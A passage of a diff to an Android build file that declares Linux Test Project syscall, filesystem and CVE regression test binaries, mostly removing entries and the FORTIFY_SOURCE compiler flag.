-    srcs: ["testcases/network/multicast/mc_commo/mc_recv.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_tkill02",
-    stem: "tkill02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/tkill/tkill02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup04",
-    stem: "dup04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup/dup04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_listxattr01",
-    stem: "listxattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/listxattr/listxattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_select03",
-    stem: "select03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/select/select03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_set_tid_address01",
-    stem: "set_tid_address01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/set_tid_address/set_tid_address01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_reboot02",
-    stem: "reboot02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/reboot/reboot02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_reboot01",
-    stem: "reboot01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/reboot/reboot01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setparam03",
-    stem: "sched_setparam03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setparam02",
-    stem: "sched_setparam02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setparam01",
-    stem: "sched_setparam01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setparam05",
-    stem: "sched_setparam05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setparam04",
-    stem: "sched_setparam04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setparam/sched_setparam04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigwait01",
-    stem: "sigwait01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DTEST_SIGWAIT",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chmod04",
-    stem: "chmod04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chmod07",
-    stem: "chmod07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chmod01",
-    stem: "chmod01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chmod03",
-    stem: "chmod03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chmod02",
-    stem: "chmod02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendmsg01",
-    stem: "sendmsg01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendmsg/sendmsg01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_newns",
-    stem: "newns",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/newns.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ltpServer",
-    stem: "ltpServer",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/sockets/ltpServer.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_mmstress",
-    stem: "mmstress",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mtest05/mmstress.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftruncate01",
-    stem: "ftruncate01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ftruncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_waitpid09",
-    stem: "waitpid09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mprotect03",
-    stem: "mprotect03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mprotect/mprotect03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_data_space",
-    stem: "data_space",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vmtests/data_space.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_get_robust_list01",
-    stem: "get_robust_list01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/get_robust_list/get_robust_list01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstat01",
-    stem: "fstat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mprotect02",
-    stem: "mprotect02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mprotect/mprotect02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setitimer01",
-    stem: "setitimer01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setitimer/setitimer01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execle01",
-    stem: "execle01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execle/execle01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setitimer02",
-    stem: "setitimer02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setitimer/setitimer02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sync02",
-    stem: "sync02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sync/sync02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sync01",
-    stem: "sync01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sync/sync01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mprotect04",
-    stem: "mprotect04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mprotect/mprotect04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_statvfs01",
-    stem: "statvfs01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statvfs/statvfs01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstat02",
-    stem: "fstat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdir09",
-    stem: "mkdir09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdir/mkdir09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdir08",
-    stem: "mkdir08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdir/mkdir08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_smount",
-    stem: "smount",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fs_bind/bin/smount.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdir05",
-    stem: "mkdir05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdir/mkdir05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdir04",
-    stem: "mkdir04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdir/mkdir04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_geny1",
-    stem: "geny1",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/geny1.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_geny0",
-    stem: "geny0",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/geny0.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_stream05",
-    stem: "stream05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/stream/stream05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_statvfs02",
-    stem: "statvfs02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statvfs/statvfs02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stream01",
-    stem: "stream01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/stream/stream01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_listen01",
-    stem: "listen01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/listen/listen01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nanosleep04",
-    stem: "nanosleep04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -11797,340 +1566,46 @@
     stem: "create_short_dirs",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/create_short_dirs.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_mem_process",
-    stem: "mem_process",
+    name: "ltp_crypto_user01",
+    stem: "crypto_user01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memcg/control/mem_process.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chdir01",
-    stem: "chdir01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chdir/chdir01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/crypto/crypto_user01.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_readahead01",
-    stem: "readahead01",
+    name: "ltp_cve-2014-0196",
+    stem: "cve-2014-0196",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readahead/readahead01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/cve/cve-2014-0196.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_chdir03",
-    stem: "chdir03",
+    name: "ltp_cve-2015-3290",
+    stem: "cve-2015-3290",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chdir/chdir03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/cve/cve-2015-3290.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fork11",
-    stem: "fork11",
+    name: "ltp_cve-2016-10044",
+    stem: "cve-2016-10044",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fork/fork11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_syscall01",
-    stem: "syscall01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/syscall/syscall01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_quotactl02",
-    stem: "quotactl02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/quotactl/quotactl02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysctl01",
-    stem: "sysctl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysctl/sysctl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execve01",
-    stem: "execve01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execve/execve01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_aio-stress",
-    stem: "aio-stress",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/aio-stress.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress10",
-    stem: "mmapstress10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl05",
-    stem: "fcntl05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl05.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genlog10",
-    stem: "genlog10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genlog10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_nanosleep03",
-    stem: "nanosleep03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nanosleep/nanosleep03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl04",
-    stem: "fcntl04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl04.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_rod",
-    stem: "tst_rod",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_rod.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tomoyo_policy_io_test",
-    stem: "tomoyo_policy_io_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_policy_io_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execvp01",
-    stem: "execvp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execvp/execvp01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tomoyo_policy_memory_test",
-    stem: "tomoyo_policy_memory_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_policy_memory_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chmod05",
-    stem: "chmod05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chmod/chmod05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_poll01",
-    stem: "poll01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/poll/poll01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrusage04",
-    stem: "getrusage04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrusage/getrusage04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrusage01",
-    stem: "getrusage01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrusage/getrusage01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execve_child",
-    stem: "execve_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execve/execve_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrusage02",
-    stem: "getrusage02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrusage/getrusage02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vfork01",
-    stem: "vfork01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/vfork/vfork01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vfork02",
-    stem: "vfork02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/vfork/vfork02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl09",
-    stem: "fcntl09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl09.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl03",
-    stem: "fcntl03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_time-schedule",
-    stem: "time-schedule",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/tool/time-schedule.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/cve/cve-2016-10044.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -12140,304 +1615,154 @@
     stem: "cve-2016-7042",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/cve/cve-2016-7042.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fsync01",
-    stem: "fsync01",
+    name: "ltp_cve-2016-7117",
+    stem: "cve-2016-7117",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fsync/fsync01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/cve/cve-2016-7117.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fcntl07",
-    stem: "fcntl07",
+    name: "ltp_cve-2017-16939",
+    stem: "cve-2017-16939",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl07.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl06",
-    stem: "fcntl06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl06.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl01",
-    stem: "fcntl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pathconf01",
-    stem: "pathconf01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pathconf/pathconf01.c"],
